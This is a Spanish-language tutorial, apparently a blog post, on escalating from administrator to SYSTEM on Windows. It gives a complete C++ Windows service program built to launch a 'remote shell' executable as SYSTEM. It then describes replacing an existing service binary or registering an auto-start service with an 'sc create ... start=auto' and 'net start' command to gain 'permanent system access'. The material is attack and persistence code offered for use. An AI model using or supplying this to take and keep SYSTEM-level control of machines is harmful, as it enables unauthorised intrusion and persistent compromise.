¡Hola! En ocasiones, aun teniendo privilegios de «administrator» para ciertas operaciones se requiere tener privilegios «system», ¿Como podemos conseguir escalar privilegios? Una de las formas es bastante sencilla y se puede hacer de dos formas:
En ambos casos hay que crear un fichero ejecutable de servicio de windows que llame a nuestra «remote shell», se puede hacer con este código C++, sustituyendo en la costante DAEMON_EXE_NAME el valor «C:\\EXECUTABLE_FILE_PATH.exe» por la ruta del fichero a ejecutar y cambiando el nombre del servicio en NAME_IN_SERVICES poniendo el nombre que queramos que tenga el servicio y en MY_SERVICE_DESC su descripción:
// Windows Service main application
// Add your code where necessary to create your own windows service application.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
// Replace with your own
#define NAME_IN_SERVICES TEXT("MyService")
#define MY_SERVICE_DESC TEXT("Service description")
#define DAEMON_EXE_NAME "C:\\EXECUTABLE_FILE_PATH.exe"
// Some global vars
SERVICE_STATUS gStatus;
SERVICE_STATUS_HANDLE gStatusHandle;
HANDLE ghStopEvent = NULL;
void InstallService() {
SC_HANDLE hSCMgr;
SC_HANDLE hService;
TCHAR ExeAddr[MAX_PATH];
SERVICE_DESCRIPTION sd;
LPTSTR Desc = MY_SERVICE_DESC;
if (! GetModuleFileName(NULL, ExeAddr, MAX_PATH)) {
printf("Cannot install service.\n");
return;
}
hSCMgr = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hSCMgr == NULL) {
printf("OpenSCManager failed\n");
return;
}
hService = CreateService(hSCMgr, NAME_IN_SERVICES, NAME_IN_SERVICES, SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
ExeAddr, NULL, NULL, NULL, NULL, NULL);
if (hService == NULL) {
printf("CreateService failed (%s)\n", ExeAddr);
CloseServiceHandle(hSCMgr);
return;
}
else
printf("Service successfully installed.\nExecutable: %s\n", ExeAddr);
// Now, to change its description
sd.lpDescription = Desc;
if (! ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &sd))
printf("ChangeServiceConfig2 failed.\n");
CloseServiceHandle(hService);
CloseServiceHandle(hSCMgr);
}
void UninstallService() {
SC_HANDLE hSCMgr;
SC_HANDLE hService;
hSCMgr = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (NULL == hSCMgr) {
printf("OpenSCManager failed\n");
return;
}
hService = OpenService(hSCMgr, NAME_IN_SERVICES, DELETE);
if (hService == NULL) {
printf("OpenService failed\n");
CloseServiceHandle(hSCMgr);
return;
}
if (! DeleteService(hService))
printf("Fallo DeleteService (%d)\n", (int) GetLastError());
else
printf("Service uninstalled successfully.\nYou must restart windows for changes to take effect.\n");
CloseServiceHandle(hService);
CloseServiceHandle(hSCMgr);
}
void MySetServiceStatus( DWORD State, DWORD ExitCode, DWORD Wait ) {
gStatus.dwCurrentState = State;
gStatus.dwWin32ExitCode = ExitCode;
gStatus.dwWaitHint = Wait;
if (State == SERVICE_START_PENDING)
gStatus.dwControlsAccepted = 0;
else
gStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
SetServiceStatus(gStatusHandle, &gStatus);
}
void WINAPI CtrlHandler( DWORD CtrlCmd ) {
switch (CtrlCmd) {
case SERVICE_CONTROL_STOP:
MySetServiceStatus(SERVICE_STOP_PENDING, NO_ERROR, 0);
// Add here the necessary code to stop the daemon
SetEvent(ghStopEvent);
break;
case SERVICE_CONTROL_INTERROGATE:
// Add here the necessary code to query the daemon
break;
}
MySetServiceStatus(gStatus.dwCurrentState, NO_ERROR, 0);
}
int Run( char * Command ) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb = sizeof(STARTUPINFO);
si.lpReserved = NULL;
si.lpDesktop = NULL;
si.lpTitle = 0;
si.dwX = si.dwY = si.dwXSize = si.dwYSize =
si.dwXCountChars = si.dwYCountChars = si.dwFlags = 0;
si.wShowWindow = SW_NORMAL;
si.lpReserved2 = NULL;
si.cbReserved2 = 0;
si.hStdInput = si.hStdOutput = si.hStdError = 0;
return CreateProcess(0, Command, 0, 0, 1, 0, 0, 0, &si, & pi);
}
void InitService() {
// printf in this function will not work when running from SCM
gStatusHandle = RegisterServiceCtrlHandler(NAME_IN_SERVICES, CtrlHandler);
if (! gStatusHandle) {
int e;
e = GetLastError();
if (e == ERROR_INVALID_NAME)
printf("RegisterServiceCtrlHandler failed (ERROR_INVALID_NAME)\n");
else if (e == ERROR_SERVICE_DOES_NOT_EXIST)
printf("RegisterServiceCtrlHandler failed (ERROR_SERVICE_DOES_NOT_EXIST)\n");
else
printf("RegisterServiceCtrlHandler failed (%d)\n", (int) e);
return;
}
gStatus.dwServiceType = SERVICE_WIN32;
gStatus.dwServiceSpecificExitCode = 0;
MySetServiceStatus( SERVICE_START_PENDING, NO_ERROR, 3000 );
// HERE put your daemon initialization code
// if it takes too long to start, call MySetServiceStatus() with
// SERVICE_START_PENDING periodically.
// If initialization fails, call MySetServiceStatus with SERVICE_STOPPED.
// The following is a generic code. Replace with your own.
Run(DAEMON_EXE_NAME);
// end of daemon initialization
MySetServiceStatus(SERVICE_RUNNING, NO_ERROR, 0);
ghStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (ghStopEvent == NULL) {
MySetServiceStatus( SERVICE_STOPPED, NO_ERROR, 0 );
printf("CreateEvent failed.\n");
return;
}
WaitForSingleObject(ghStopEvent, INFINITE);
MySetServiceStatus(SERVICE_STOPPED, NO_ERROR, 0);
}
SERVICE_TABLE_ENTRY DispatchTable[] = {
{ NAME_IN_SERVICES, (LPSERVICE_MAIN_FUNCTION) InitService },
{ NULL, NULL }
};
int main( int c, char * arg[] ) {
if (c > 2) {
printf("Usage: servicio [ install | uninstall ]\n");
return 1;
}
if (c == 2 && ! stricmp(arg[1], "install")) {
InstallService();
return 0;
}
if (c == 2 && ! stricmp(arg[1], "uninstall")) {
UninstallService();
return 0;
}
if (! StartServiceCtrlDispatcher(DispatchTable))
printf("StartServiceCtrlDispatcher failed\n");
return 0;
}
Después como decía anteriormente, se puede hacer de dos formas:
- Sustituir el fichero de un ejecutable por el nuestro (cambiando el nombre del nuestro por el que se quiere sustituir)
- Se puede añadir un nuevo servicio (importante poner el arranque automático para que se inicie si se reinicia el equipo), se puede hacer con el siguiente comando:
sc create NOMBRE-DEL-SERVICIO binPath= "C:\\RUTA-DEL-EXE" start=auto net start NOMBRE-DEL-SERVICIO
De esta forma tendríamos acceso system permanente a esta maquina